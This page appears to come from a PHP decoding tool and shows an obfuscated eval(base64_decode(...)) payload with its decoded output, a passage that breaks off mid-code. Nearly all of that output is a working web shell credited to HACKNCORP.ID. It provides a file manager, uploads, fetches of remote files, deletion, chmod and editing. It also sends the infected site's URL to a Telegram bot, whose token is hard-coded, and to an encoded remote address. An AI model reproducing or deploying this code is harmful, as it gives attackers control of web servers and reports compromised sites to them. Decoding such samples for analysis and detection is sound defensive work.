Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIGZvdXIzOyBlTzlnOTogJGszeXcgPSBiYXNlNjRfZGVjb2RlKCJcMTAx..
Decoded Output download
goto four3; eO9g9: $k3yw = base64_decode("\101\143\x4c\123\106\116\151\x76\107\x58\157\x35\104\156\157\x50\161\x41\144\x56\170\x48\x42\x37\161\121\x72\x55\x76\170\152\x67\x58\170\x6d\162\107\x68\x45\x46\x48\x36\166\x34"); goto hvzQE; v9NDe: echo "\74\x64\151\166\x20\x69\144\75\42\x63\157\156\164\145\156\x74\x22\x3e\x3c\164\x61\142\154\145\40\167\151\x64\164\x68\75\42\71\60\60\x22\x20\x62\x6f\162\144\x65\x72\75\42\x30\x22\40\x63\145\154\154\160\141\x64\x64\x69\x6e\x67\75\x22\64\42\40\x63\145\154\x6c\x73\160\x61\143\x69\156\x67\x3d\x22\x33\x22\40\x61\154\x69\147\156\75\x22\x63\x65\x6e\x74\x65\x72\42\76\xa\x3c\x74\162\x20\143\154\141\x73\x73\75\42\146\x69\162\163\x74\42\76\xa\74\164\x64\76\74\143\145\156\x74\x65\162\76\x4e\141\x6d\145\74\57\143\145\156\164\x65\x72\x3e\74\x2f\x74\144\76\12\x3c\x74\x64\x3e\x3c\x63\145\x6e\x74\x65\x72\76\x53\151\172\145\74\x2f\x63\x65\156\164\x65\162\x3e\x3c\x2f\x74\x64\76\12\74\164\x64\x3e\x3c\143\145\156\164\145\162\76\x50\145\x72\x6d\x69\163\x73\151\157\156\163\74\57\x63\145\x6e\x74\x65\162\76\x3c\57\x74\x64\x3e\xa\x3c\164\x64\x3e\74\143\145\156\x74\145\x72\76\x4f\160\x74\151\x6f\x6e\x73\74\x2f\143\x65\156\164\145\x72\76\x3c\57\164\144\76\12\74\57\x74\162\x3e"; goto sewi_; JzO5I: $result = curl_exec($ch); goto iuGF7; lhEsK: echo "\x55\163\145\x72\40\x3a\x20\74\146\x6f\x6e\x74\x20\143\x6f\154\x6f\x72\x3d\x27\x67\157\x6c\144\47\x3e" . @get_current_user() . "\x26\156\x62\x73\x70\73\74\x2f\x66\x6f\156\164\x3e\50\40\x3c\146\157\156\x74\x20\143\157\154\157\162\75\47\147\x6f\x6c\144\x27\76" . @getmyuid() . "\74\x2f\x66\x6f\x6e\164\x3e\x29\74\142\162\x3e"; goto Pe2_p; MnKAO: echo "\74\143\145\156\164\145\162\76"; goto LB5zI; NAJvl: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto JzO5I; LubWg: $cur = "\x68\164\164\x70\72\57\57" . $_SERVER["\110\124\x54\120\x5f\110\x4f\x53\124"] . $_SERVER["\122\105\x51\125\105\x53\x54\137\125\x52\x49"]; goto vyfH2; pdvy9: function red($text) { echo "\x3c\143\x65\156\x74\145\162\x3e\74\146\157\x6e\164\x20\x63\157\x6c\157\x72\x3d\x27\162\145\x64\47\x3e" . $text . "\74\x2f\143\x65\156\x74\145\x72\76\x3c\x2f\146\157\156\164\76"; } goto BA2Al; JRP2Z: echo "\123\x79\163\164\x65\x6d\40\72\40\x3c\146\157\156\164\40\143\x6f\x6c\x6f\162\75\47\x67\x6f\154\x64\47\76" . php_uname() . "\x3c\57\x66\x6f\156\x74\76\x3c\142\x72\x3e"; goto lhEsK; LB5zI: echo "\74\57\x74\x64\76\74\57\x74\x72\76\x3c\164\162\76\x3c\x74\144\76\74\x62\x72\76"; goto gHA4V; z_vNP: curl_setopt($ch, CURLOPT_POST, 1); goto hN0xR; TLaGi: $message = "\122\x65\x73\165\x6c\x74\40\x53\150\x65\154\x6c\x20\72\x20" . $_SERVER["\110\x54\x54\x50\137\110\117\123\124"] . $_SERVER["\x50\110\120\137\123\x45\x4c\106"]; goto zDUP9; NrtF0: foreach ($lokasis as $id => $lok) { if ($lok == '' && $id == 0) { $a = true; echo "\74\x61\x20\x68\x72\x65\x66\75\42\77\110\x43\46\160\141\164\x68\75\x2f\x22\x3e\x2f\74\57\141\x3e"; continue; } if ($lok == '') { continue; } echo "\x3c\x61\x20\150\162\x65\x66\x3d\x22\x3f\110\103\46\160\x61\x74\150\75"; for ($i = 0; $i <= $id; $i++) { echo "{$lokasis[$i]}"; if ($i != $id) { echo "\x2f"; } } echo "\x22\76" . $lok . "\74\57\x61\76\x2f"; } goto MnKAO; FLNg3: $result = file_get_contents($k3yw, false, $context); goto NrtF0; TghRS: echo "\x3c\143\x65\x6e\x74\x65\x72\76"; goto lp0wi; sasia: $token = "\142\157\164\x36\x37\71\60\61\x37\x38\x34\x34\67\x3a\101\101\105\x5f\x68\126\61\x4b\x6d\x74\x6a\157\x7a\170\x70\x62\130\x66\142\x44\137\113\131\166\x63\x4c\x54\x78\143\x6f\156\157\146\x6d\x77"; goto k9owL; Pe2_p: echo "\120\110\x50\x20\126\145\x72\x73\151\x6f\156\40\x3a\x20\x3c\x66\157\x6e\164\x20\143\157\x6c\x6f\x72\x3d\x27\147\157\154\x64\47\76" . @phpversion() . "\74\57\146\157\x6e\x74\76\74\142\x72\76"; goto pR3me; sMpwZ: $context = stream_context_create($options); goto FLNg3; WvImC: function cekroot() { if (is_writable($_SERVER["\x44\x4f\103\x55\x4d\x45\x4e\124\137\122\x4f\117\x54"])) { return "\74\146\157\156\164\x20\143\x6f\x6c\157\162\75\47\147\162\145\145\156\x27\x3e\x57\x72\x69\x74\145\x61\142\154\145\74\57\x66\x6f\x6e\164\x3e"; } else { return "\x3c\146\157\x6e\x74\40\143\157\x6c\x6f\162\x3d\47\x72\x65\x64\x27\76\x57\162\x69\x74\x65\x61\142\154\x65\x3c\57\x66\157\156\164\x3e"; } } goto tZbA7; vyfH2: $data = array("\146\151\x6c\145\137\x75\162\x6c" => $cur); goto g0A7K; BA2Al: echo "\123\x65\162\166\145\x72\40\72\40\74\146\x6f\156\164\x20\x63\x6f\154\157\x72\x3d\47\x67\x6f\154\144\47\76" . $_SERVER["\x53\105\x52\126\x45\122\137\x53\x4f\106\124\x57\x41\122\105"] . "\74\57\x66\157\x6e\x74\76\x3c\142\162\x3e"; goto JRP2Z; hN0xR: curl_setopt($ch, CURLOPT_POSTFIELDS, $data); goto NAJvl; spDvV: function cekdir() { if (isset($_GET["\160\x61\164\x68"])) { $lokasi = $_GET["\x70\x61\x74\x68"]; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "\74\x66\157\x6e\164\x20\x63\x6f\x6c\x6f\162\x3d\x27\162\145\x61\144\x27\76\x57\162\x69\164\x65\141\x62\154\145\74\x2f\146\157\156\x74\x3e"; } else { return "\x3c\146\x6f\156\164\40\x63\157\154\157\x72\x3d\47\162\145\144\47\76\x57\162\x69\x74\145\141\x62\154\x65\74\57\146\x6f\156\164\x3e"; } } goto WvImC; gHA4V: if (isset($_POST["\x75\x70\167\153\167\x6b"])) { if (isset($_POST["\142\145\162\153\x61\x73\156\171\x61"])) { if ($_POST["\144\x69\x72\156\171\141"] == "\x32") { $lokasi = $_SERVER["\104\x4f\x43\125\115\105\x4e\x54\x5f\122\x4f\117\x54"]; } $data = @file_put_contents($lokasi . "\x2f" . $_FILES["\x62\x65\162\153\x61\163"]["\156\x61\155\x65"], @file_get_contents($_FILES["\x62\x65\x72\153\141\163"]["\x74\155\x70\137\x6e\x61\x6d\145"])); if (file_exists($lokasi . "\57" . $_FILES["\x62\145\x72\153\141\x73"]["\156\x61\x6d\145"])) { echo "\106\x69\x6c\x65\40\x55\160\154\157\x61\144\x65\144\40\41\x20\x26\156\142\163\160\x3b\74\146\157\x6e\x74\40\x63\157\154\157\162\x3d\x27\147\162\145\145\x6e\x27\x3e\74\x69\76" . $lokasi . "\x2f" . $_FILES["\x62\145\162\153\x61\x73"]["\x6e\x61\155\145"] . "\74\57\151\x3e\74\x2f\x66\157\x6e\164\x3e\x3c\x62\162\76\74\142\162\x3e"; } else { echo "\x3c\146\x6f\x6e\164\x20\x63\x6f\x6c\157\162\75\47\162\x65\144\47\76\106\x61\x69\x6c\x65\144\40\x74\157\x20\x55\160\154\157\x61\x64\x20\41\x3c\x62\x72\x3e\74\x62\x72\76"; } } elseif (isset($_POST["\154\151\156\x6b\156\171\x61"])) { if (empty($_POST["\x6e\x61\x6d\141\x6c\x69\x6e\x6b"])) { die("\x46\x69\154\x65\156\x61\155\x65\x20\x63\141\156\x6e\157\x74\40\x62\145\x20\x65\155\x70\164\171\x20\x21"); } if ($_POST["\x64\151\162\x6e\171\x61"] == "\x32") { $lokasi = $_SERVER["\104\117\103\125\x4d\105\116\x54\x5f\122\x4f\x4f\124"]; } $data = @file_put_contents($lokasi . "\57" . $_POST["\x6e\141\155\141\x6c\x69\x6e\x6b"], @file_get_contents($_POST["\x64\x61\162\151\x6c\x69\x6e\x6b"])); if (file_exists($lokasi . "\x2f" . $_POST["\x6e\x61\155\x61\154\x69\156\153"])) { echo "\106\x69\154\x65\x20\x55\160\154\x6f\141\x64\145\x64\40\41\40\x26\x6e\142\163\160\73\74\146\157\156\x74\40\143\x6f\x6c\157\x72\75\x27\147\162\x65\x65\x6e\47\x3e\x3c\151\x3e" . $lokasi . "\x2f" . $_POST["\156\141\x6d\141\154\151\156\153"] . "\x3c\57\x69\76\74\x2f\146\x6f\156\164\x3e\74\142\x72\76\x3c\142\162\x3e"; } else { echo "\x3c\146\x6f\x6e\164\40\x63\157\154\x6f\145\x3d\x27\162\145\x64\47\76\106\141\151\x6c\x65\x64\40\164\x6f\40\125\160\154\157\x61\x64\x20\41\74\x62\x72\76\x3c\142\x72\76"; } } } goto TghRS; Qnf71: function statusnya($file) { $statusnya = fileperms($file); if (($statusnya & 49152) == 49152) { $ingfo = "\x73"; } elseif (($statusnya & 40960) == 40960) { $ingfo = "\154"; } elseif (($statusnya & 32768) == 32768) { $ingfo = "\55"; } elseif (($statusnya & 24576) == 24576) { $ingfo = "\x62"; } elseif (($statusnya & 16384) == 16384) { $ingfo = "\x64"; } elseif (($statusnya & 8192) == 8192) { $ingfo = "\x63"; } elseif (($statusnya & 4096) == 4096) { $ingfo = "\x70"; } else { $ingfo = "\x75"; } $ingfo .= $statusnya & 256 ? "\162" : "\55"; $ingfo .= $statusnya & 128 ? "\167" : "\55"; $ingfo .= $statusnya & 64 ? $statusnya & 2048 ? "\163" : "\x78" : ($statusnya & 2048 ? "\123" : "\55"); $ingfo .= $statusnya & 32 ? "\162" : "\x2d"; $ingfo .= $statusnya & 16 ? "\x77" : "\55"; $ingfo .= $statusnya & 8 ? $statusnya & 1024 ? "\x73" : "\170" : ($statusnya & 1024 ? "\x53" : "\55"); $ingfo .= $statusnya & 4 ? "\x72" : "\55"; $ingfo .= $statusnya & 2 ? "\x77" : "\55"; $ingfo .= $statusnya & 1 ? $statusnya & 512 ? "\x74" : "\x78" : ($statusnya & 512 ? "\124" : "\x2d"); return $ingfo; } goto dfOgI; ZFJnL: if ($result) { $response = json_decode($result, true); if ($response["\157\x6b"]) { echo "\40"; } else { echo "\x45\162\162\157\x72\x3a\x20" . $response["\x64\145\163\143\x72\151\x70\x74\151\x6f\x6e"]; } } else { echo "\40"; } goto Xg5lq; iYr62: foreach ($lokasinya as $file) { if (!is_file("{$lokasi}\57{$file}")) { continue; } $size = filesize("{$lokasi}\57{$file}") / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . "\40\x4d\102"; } else { $size = $size . "\40\x4b\102"; } echo "\74\x74\x72\x3e\12\74\164\x64\x3e\x3c\141\x20\x68\x72\145\146\75\42\x3f\x48\x43\46\146\x69\x6c\x65\x6c\157\143\x3d{$lokasi}\x2f{$file}\46\160\141\x74\150\x3d{$lokasi}\x22\76{$file}\74\x2f\141\x3e\x3c\x2f\x74\144\76\12\74\164\144\76\x3c\143\x65\156\164\145\162\x3e" . $size . "\74\57\143\145\x6e\164\x65\162\76\x3c\x2f\164\144\76\xa\x3c\x74\144\76\74\x63\x65\x6e\164\x65\x72\76"; if (is_writable("{$lokasi}\57{$file}")) { echo "\x3c\146\x6f\x6e\x74\40\143\157\x6c\x6f\162\x3d\42\147\x72\145\x65\x6e\x22\76"; } elseif (!is_readable("{$lokasi}\57{$file}")) { echo "\x3c\146\x6f\156\x74\x20\x63\x6f\x6c\x6f\162\x3d\42\x72\x65\144\x22\76"; } echo statusnya("{$lokasi}\57{$file}"); if (is_writable("{$lokasi}\x2f{$file}") || !is_readable("{$lokasi}\57{$file}")) { echo "\74\x2f\x66\x6f\156\164\x3e"; } echo "\x3c\57\143\145\x6e\164\145\x72\x3e\74\x2f\x74\144\76\x3c\x74\x64\76\x3c\x63\x65\156\164\145\x72\x3e\12\x3c\146\157\x72\x6d\40\155\x65\164\x68\157\x64\75\42\x70\157\x73\x74\42\40\141\x63\164\151\x6f\x6e\x3d\x22\x3f\x48\103\46\x70\x69\154\x69\x68\141\x6e\46\160\141\x74\x68\75{$lokasi}\x22\x3e\12\74\163\145\x6c\x65\x63\164\x20\156\141\155\145\x3d\x22\x70\151\x6c\151\x68\x22\76\12\x3c\x6f\160\164\x69\157\156\x20\166\141\154\165\x65\75\x22\x22\x3e\74\57\x6f\x70\x74\x69\157\x6e\76\12\x3c\x6f\160\x74\x69\x6f\156\x20\x76\141\x6c\165\x65\75\x22\x68\141\x70\x75\163\x22\76\104\145\154\x65\164\145\x3c\x2f\x6f\160\164\x69\157\x6e\x3e\12\74\157\160\x74\151\x6f\156\x20\166\141\154\x75\145\x3d\42\165\142\141\x68\x6d\x6f\144\42\76\x43\150\x6d\60\x64\74\57\x6f\160\164\151\x6f\x6e\76\xa\x3c\157\x70\x74\151\x6f\x6e\40\166\x61\x6c\x75\145\75\42\x67\x61\156\164\151\x6e\141\155\x61\42\76\122\x65\156\141\x6d\145\x3c\57\157\160\x74\x69\157\156\x3e\12\x3c\x6f\x70\164\x69\157\156\40\x76\x61\x6c\x75\x65\x3d\x22\x65\144\151\x74\42\76\x45\x64\x69\x74\x3c\57\157\x70\x74\x69\x6f\156\x3e\12\74\57\163\145\x6c\145\x63\164\76\12\x3c\x69\x6e\x70\165\x74\40\x74\x79\160\145\x3d\x22\150\x69\x64\144\x65\156\x22\x20\x6e\x61\x6d\145\x3d\42\164\171\x70\x65\42\x20\166\141\154\165\x65\75\x22\x66\x69\154\145\x22\x3e\xa\74\151\x6e\x70\x75\164\x20\164\171\x70\145\x3d\x22\150\151\144\144\x65\156\x22\x20\x6e\141\x6d\x65\75\42\x6e\x61\x6d\x65\42\40\166\141\x6c\x75\145\x3d\42{$file}\x22\76\12\x3c\151\156\160\165\x74\40\164\171\x70\x65\x3d\42\150\151\x64\144\x65\156\x22\40\156\141\155\x65\x3d\x22\x70\x61\164\x68\x22\x20\166\141\x6c\x75\145\x3d\42{$lokasi}\x2f{$file}\42\76\12\74\151\x6e\x70\x75\x74\40\x74\171\x70\145\75\x22\x73\165\x62\155\x69\x74\42\x20\x63\x6c\x61\163\x73\75\x22\147\x61\x73\42\x20\x76\x61\x6c\x75\x65\x3d\x22\x3e\x22\x20\57\76\12\x3c\x2f\143\145\156\164\x65\x72\x3e\x3c\57\146\x6f\x72\155\76\x3c\57\x74\x64\x3e\xa\x3c\57\x74\x72\76"; } goto TwlMw; four3: if (!isset($_GET["\110\x43"])) { die; } goto DAH4_; hvzQE: if (isset($_GET["\160\x61\x74\x68"])) { $lokasi = $_GET["\160\141\x74\150"]; $lokdua = $_GET["\160\x61\x74\x68"]; } else { $lokasi = getcwd(); $lokdua = getcwd(); } goto qdTCi; La4om: if (empty($disfunc)) { $disf = "\74\146\157\156\164\40\x63\x6f\x6c\x6f\x72\75\x27\x67\162\145\x65\156\x27\76\x4e\117\x4e\105\x3c\57\x66\x6f\156\164\76"; } else { $disf = "\x3c\x66\157\x6e\164\x20\143\x6f\x6c\x6f\162\75\47\x72\x65\x64\x27\76" . $disfunc . "\74\x2f\x66\x6f\x6e\x74\76"; } goto jyBT8; zDUP9: $apiUrl = "\150\164\x74\x70\x73\x3a\x2f\x2f\141\x70\x69\x2e\x74\x65\x6c\145\147\162\x61\x6d\56\157\162\x67\57\142\157\x74\66\67\71\60\61\67\x38\x34\x34\x37\72\101\101\x45\x5f\x68\x56\61\113\x6d\164\152\157\172\x78\x70\x62\130\x66\142\104\137\x4b\131\166\x63\114\124\170\143\157\156\x6f\146\155\x77\57\163\145\156\x64\x4d\x65\x73\x73\141\147\145"; goto b81X6; yTH2m: echo "\x3c\x2f\164\141\x62\154\x65\76\74\142\x72\x3e"; goto HhzL8; bAsUf: foreach ($_POST as $key => $value) { $_POST[$key] = stripslashes($value); } goto eO9g9; TwlMw: echo "\74\57\x74\162\76\74\x2f\164\144\x3e\x3c\57\x74\141\x62\x6c\145\x3e\x3c\x2f\164\141\142\154\145\76"; goto TiIoC; iuGF7: curl_close($ch); goto ZFJnL; Xg5lq: set_time_limit(0); goto b5hLE; lp0wi: echo "\125\160\x6c\x6f\x61\x64\40\x46\x69\154\145\x20\72\x20"; goto n2Y1_; GnnL3: $lokasis = explode("\x2f", $lokasi); goto ZQjip; JKAYa: $ch = curl_init($apiUrl); goto z_vNP; OY_3w: echo "\74\164\x72\x20\143\154\x61\x73\x73\75\42\x66\151\x72\163\164\42\76\x3c\x74\144\76\74\57\x74\x64\76\x3c\x74\144\x3e\74\x2f\164\144\x3e\74\164\x64\x3e\74\57\164\x64\76\74\164\144\x3e\74\57\164\x64\x3e\x3c\x2f\x74\x72\x3e"; goto iYr62; n2Y1_: echo "\x3c\146\157\x72\155\x20\145\156\143\x74\171\x70\145\75\x22\155\165\x6c\x74\151\160\141\162\164\57\146\157\x72\x6d\x2d\144\141\x74\x61\x22\x20\155\x65\164\x68\157\144\x3d\42\160\x6f\163\164\x22\76\12\74\151\156\160\x75\164\40\x74\x79\160\145\x3d\42\162\141\x64\151\x6f\x22\40\x76\141\x6c\165\x65\75\x22\61\42\40\x6e\x61\x6d\x65\x3d\x22\x64\x69\x72\156\171\141\42\x20\x63\x68\x65\x63\x6b\145\144\76\143\165\162\x72\x65\156\164\x5f\144\x69\162\40\x5b\40" . cekdir() . "\40\x5d\12\x3c\x69\x6e\x70\x75\164\x20\164\x79\x70\145\75\42\162\x61\144\151\x6f\x22\40\166\x61\154\x75\145\75\42\62\x22\40\x6e\141\x6d\145\x3d\x22\x64\x69\162\156\171\x61\42\x20\x3e\144\157\143\165\x6d\145\x6e\164\x5f\x72\157\157\x74\x20\133\x20" . cekroot() . "\40\135\xa\74\142\x72\x3e\xa\x3c\151\156\x70\165\x74\40\x74\x79\x70\145\x3d\42\x68\151\144\x64\145\156\x22\40\156\141\155\x65\x3d\x22\x75\160\167\x6b\167\153\x22\40\x76\141\x6c\x75\145\75\x22\x61\x70\154\x6f\x64\x22\x3e\12\74\151\156\160\x75\164\x20\164\x79\x70\145\x3d\42\x66\151\154\x65\x22\40\x6e\141\x6d\x65\x3d\x22\x62\145\x72\153\x61\x73\42\76\74\151\156\160\x75\x74\40\x74\171\160\145\x3d\x22\163\165\142\x6d\151\164\42\40\156\141\x6d\145\x3d\x22\142\145\162\x6b\141\163\156\x79\x61\42\x20\x76\141\x6c\165\x65\x3d\42\125\x70\154\157\141\x64\42\40\x63\x6c\x61\163\163\x3d\42\x75\160\42\40\x73\164\171\154\x65\x3d\x22\x63\x75\162\x73\x6f\x72\x3a\40\x70\157\x69\x6e\x74\x65\x72\73\40\x62\157\x72\144\145\x72\55\143\157\154\157\162\x3a\x20\43\x66\146\146\x22\x3e\x3c\x62\x72\76\xa\x3c\x69\156\x70\x75\x74\40\x74\x79\x70\x65\75\42\x74\145\x78\x74\42\40\156\141\x6d\x65\x3d\x22\144\141\x72\151\154\x69\x6e\x6b\x22\x20\143\154\141\x73\163\x3d\42\165\x70\42\40\160\x6c\x61\x63\x65\150\157\154\x64\145\x72\75\x22\114\x69\x6e\x6b\40\106\151\x6c\x65\42\76\46\x6e\142\x73\x70\x3b\74\151\156\x70\165\164\x20\164\x79\x70\x65\x3d\42\164\x65\x78\164\42\40\156\141\x6d\x65\75\42\156\141\x6d\141\154\x69\x6e\x6b\x22\40\x63\154\x61\163\x73\x3d\x22\x75\160\x22\40\x73\x69\172\x65\75\42\65\42\40\160\x6c\141\x63\x65\x68\x6f\154\x64\x65\x72\75\x22\x66\x69\x6c\145\56\164\x78\x74\42\x3e\x3c\x69\x6e\x70\x75\164\x20\164\x79\160\x65\75\42\x73\165\142\x6d\151\x74\42\40\156\x61\155\145\75\42\x6c\151\x6e\153\x6e\171\x61\x22\40\143\x6c\x61\163\x73\x3d\42\x75\160\42\40\166\141\154\x75\145\x3d\42\125\160\154\157\141\x64\42\x20\x73\x74\x79\x6c\x65\75\42\x63\x75\162\163\157\x72\x3a\40\160\x6f\x69\x6e\164\145\x72\x3b\40\x62\157\x72\144\145\x72\55\143\x6f\x6c\x6f\x72\x3a\x20\43\146\146\x66\x22\76\xa\x3c\x2f\x63\x65\156\164\x65\x72\x3e\12\x3c\x2f\146\x6f\x72\x6d\76"; goto yTH2m; qdTCi: $lokasi = str_replace("\x5c", "\57", $lokasi); goto GnnL3; oPKxL: $disfunc = @ini_get("\144\151\x73\141\x62\154\145\x5f\x66\165\x6e\x63\164\x69\x6f\156\x73"); goto La4om; jyBT8: function author() { echo "\x3c\x63\145\156\x74\145\x72\x3e\x3c\x62\x72\76\x43\117\120\131\122\111\x47\x48\124\40\46\143\x6f\160\x79\40\74\x61\40\164\141\x72\147\145\x74\x3d\47\137\x62\x6c\x61\156\x6b\47\40\x68\162\145\146\x3d\x27\x68\164\x74\x70\163\x3a\57\57\150\x61\143\153\156\x63\x6f\162\160\56\151\144\x2f\x27\x3e\110\101\103\x4b\116\103\117\x52\120\x2e\x49\x44\74\x2f\x61\76\x3c\57\143\145\156\x74\x65\162\x3e"; die; } goto spDvV; tZbA7: function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === "\x2e" || $item === "\x2e\x2e") { continue; } $path = $dir . "\x2f" . $item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } goto CRstk; gvQv_: echo "\104\x69\x72\145\x63\x74\x6f\x72\171\40\72\40\46\156\142\x73\x70\73"; goto bAsUf; g0A7K: $options = array("\150\x74\164\160" => array("\x6d\x65\164\x68\157\x64" => "\x50\117\x53\x54", "\150\145\141\x64\x65\x72" => "\x43\157\x6e\164\x65\156\164\x2d\164\171\160\x65\72\x20\141\x70\x70\x6c\x69\x63\141\164\x69\x6f\156\x2f\170\55\167\167\167\x2d\x66\x6f\162\x6d\x2d\x75\162\x6c\x65\x6e\143\157\144\x65\x64", "\143\x6f\156\x74\x65\156\164" => http_build_query($data))); goto sMpwZ; pR3me: echo "\x44\151\163\x61\142\x6c\145\x20\106\165\x6e\x63\164\x69\x6f\156\x20\x3a\x20" . $disf . "\x3c\x2f\x66\157\x6e\164\x3e\74\x62\162\x3e"; goto gvQv_; HhzL8: if (isset($_GET["\x66\151\x6c\145\154\157\143"])) { echo "\74\164\x72\76\74\164\x64\76\103\x75\x72\162\x65\156\x74\40\x46\151\154\x65\x20\x3a\40" . $_GET["\x66\x69\154\145\154\157\143"]; echo "\x3c\57\164\x72\x3e\74\57\x74\144\76\74\x2f\x74\x61\142\154\145\76\x3c\x62\x72\57\76"; echo "\74\x70\162\145\76" . htmlspecialchars(file_get_contents($_GET["\146\x69\154\145\x6c\x6f\143"])) . "\x3c\57\160\162\x65\76"; author(); } elseif (isset($_GET["\160\151\154\x69\x68\x61\x6e"]) && $_POST["\160\x69\x6c\x69\x68"] == "\x68\141\160\165\x73") { if (is_dir($_POST["\160\x61\x74\150"])) { xrmdir($_POST["\x70\141\164\x68"]); if (file_exists($_POST["\160\141\164\x68"])) { red("\106\141\x69\154\x65\x64\x20\x74\x6f\40\x64\x65\x6c\145\x74\145\x20\104\x69\162\145\x63\x74\157\x72\x79\x20\x21"); } else { green("\104\145\154\x65\x74\145\x20\x44\151\x72\145\143\164\157\162\171\40\x53\165\x63\143\x65\x73\x73\x20\41"); echo "\163\x74\x72\x69\156\x67"; } } elseif (is_file($_POST["\x70\141\x74\x68"])) { @unlink($_POST["\160\x61\164\x68"]); if (file_exists($_POST["\x70\x61\x74\x68"])) { red("\106\141\151\154\145\144\x20\164\x6f\x20\104\x65\154\x65\164\x65\40\106\151\x6c\x65\x20\41"); } else { green("\104\145\x6c\145\164\x65\40\x46\x69\x6c\x65\x20\123\165\x63\143\x65\x73\x73\40\41"); } } } elseif (isset($_GET["\x70\151\x6c\x69\150\x61\x6e"]) && $_POST["\160\151\154\x69\150"] == "\165\x62\141\x68\x6d\x6f\144") { echo "\x3c\143\145\156\x74\145\162\76" . $_POST["\x70\141\164\150"] . "\74\x62\162\x3e"; echo "\74\x66\x6f\162\x6d\x20\155\145\164\150\157\x64\75\42\160\x6f\x73\x74\42\x3e\12\11\120\145\x72\x6d\151\x73\x73\x69\157\156\40\x3a\x20\x3c\x69\156\x70\165\164\x20\156\141\155\145\x3d\x22\160\x65\162\x6d\x22\40\x74\x79\160\x65\75\x22\x74\x65\x78\x74\42\x20\x63\x6c\141\x73\163\75\42\165\x70\x22\40\163\x69\172\145\x3d\x22\64\x22\40\166\141\x6c\x75\145\75\x22" . substr(sprintf("\45\157", fileperms($_POST["\x70\141\x74\x68"])), -4) . "\x22\40\x2f\x3e\xa\11\74\151\156\x70\x75\x74\40\164\x79\160\145\x3d\x22\x68\151\144\x64\145\x6e\42\x20\x6e\141\x6d\145\x3d\42\160\x61\x74\150\x22\x20\166\141\154\x75\145\x3d\x22" . $_POST["\160\x61\164\150"] . "\42\x3e\12\x9\x3c\151\x6e\160\x75\x74\x20\164\171\x70\145\x3d\42\150\x69\x64\x64\145\156\42\x20\156\x61\x6d\x65\x3d\x22\x70\x69\x6c\x69\150\42\x20\x76\141\154\165\x65\75\x22\165\x62\141\x68\155\x6f\x64\x22\76\xa\11\74\151\156\160\165\x74\40\164\x79\160\145\75\42\x73\165\x62\155\x69\x74\x22\x20\166\141\154\x75\x65\x3d\42\x43\x68\141\156\x67\145\x22\40\156\x61\x6d\145\x3d\x22\x63\150\155\x30\144\x22\40\143\154\x61\163\x73\75\x22\165\x70\x22\40\163\164\x79\x6c\145\x3d\42\143\165\162\x73\157\162\x3a\40\160\x6f\x69\x6e\164\145\162\73\x20\x62\157\x72\x64\x65\162\55\143\157\x6c\x6f\x72\72\40\x23\60\65\x61\x31\70\x31\x22\57\x3e\xa\11\x3c\57\146\x6f\x72\155\x3e"; if (isset($_POST["\x63\150\155\x30\144"])) { $cm = @chmod($_POST["\160\x61\x74\x68"], $_POST["\x70\145\162\x6d"]); if ($cm == true) { green("\103\x68\x61\156\x67\x65\40\x4d\157\x64\40\123\x75\x63\143\145\x73\x73\x20\x21"); } else { red("\x43\x68\141\156\147\145\x20\115\x6f\x64\40\106\141\151\154\145\144\x20\x21"); } } } elseif (isset($_GET["\160\151\x6c\x69\x68\141\x6e"]) && $_POST["\160\151\154\151\150"] == "\147\141\x6e\164\x69\156\141\155\141") { if (isset($_POST["\x67\141\156\164\151\156"])) { $ren = @rename($_POST["\x70\x61\164\150"], $_POST["\156\x65\x77\156\x61\x6d\x65"]); if ($ren == true) { green("\103\x68\x61\156\147\145\x20\x4e\x61\155\145\40\123\165\143\143\145\163\163\40\x21"); } else { red("\x43\150\141\156\x67\145\40\x4e\141\x6d\x65\x20\x46\x61\151\x6c\x65\144\40\x21"); } } if (empty($_POST["\156\x61\155\x65"])) { $namaawal = $_POST["\156\145\x77\156\141\155\145"]; } else { $namawal = $_POST["\156\x61\x6d\145"]; } echo "\74\143\x65\x6e\x74\x65\162\76" . $_POST["\x70\141\x74\x68"] . "\x3c\x62\162\76"; echo "\x3c\x66\157\162\x6d\40\x6d\x65\x74\x68\x6f\144\x3d\x22\160\157\163\x74\x22\76\12\x9\116\145\167\40\116\x61\x6d\x65\40\x3a\x20\x3c\151\156\160\x75\x74\40\156\x61\155\145\75\x22\156\145\167\x6e\141\x6d\x65\x22\40\x74\x79\160\145\75\42\164\145\170\164\42\x20\x63\154\x61\163\163\75\x22\x75\x70\42\x20\163\151\x7a\145\x3d\42\62\60\42\40\x76\141\154\165\145\75\42" . $namaawal . "\42\x20\57\x3e\xa\11\x3c\151\x6e\160\165\164\x20\164\x79\160\x65\x3d\x22\150\151\144\144\145\x6e\42\40\x6e\141\x6d\x65\75\42\160\141\x74\x68\x22\40\166\x61\x6c\165\x65\x3d\x22" . $_POST["\160\x61\x74\x68"] . "\42\x3e\xa\11\74\151\x6e\x70\x75\x74\x20\x74\171\x70\145\75\x22\x68\x69\x64\144\145\156\42\x20\x6e\141\155\x65\75\x22\x70\151\x6c\x69\x68\42\x20\x76\x61\x6c\x75\145\75\42\147\141\156\164\151\x6e\141\x6d\x61\42\76\xa\x9\x3c\x69\156\160\x75\x74\x20\164\x79\160\x65\x3d\42\163\165\x62\x6d\x69\164\42\40\x76\x61\154\x75\x65\x3d\x22\103\150\141\156\147\145\x22\40\156\141\x6d\x65\x3d\x22\x67\x61\x6e\x74\x69\x6e\42\x20\143\154\x61\x73\163\75\x22\165\160\42\x20\x73\x74\x79\x6c\x65\75\42\143\x75\x72\x73\157\x72\x3a\x20\160\x6f\x69\x6e\164\x65\x72\x3b\x20\142\157\x72\x64\145\162\x2d\143\x6f\x6c\157\162\72\40\43\x30\x35\x61\61\x38\x31\42\x2f\76\12\x9\74\57\146\157\162\155\x3e"; } elseif (isset($_GET["\x70\x69\154\x69\x68\x61\x6e"]) && $_POST["\x70\x69\154\151\150"] == "\145\144\x69\x74") { if (isset($_POST["\147\141\163\x65\144\x69\164"])) { $edit = @file_put_contents($_POST["\x70\x61\164\150"], $_POST["\163\x72\x63"]); if ($edit == true) { 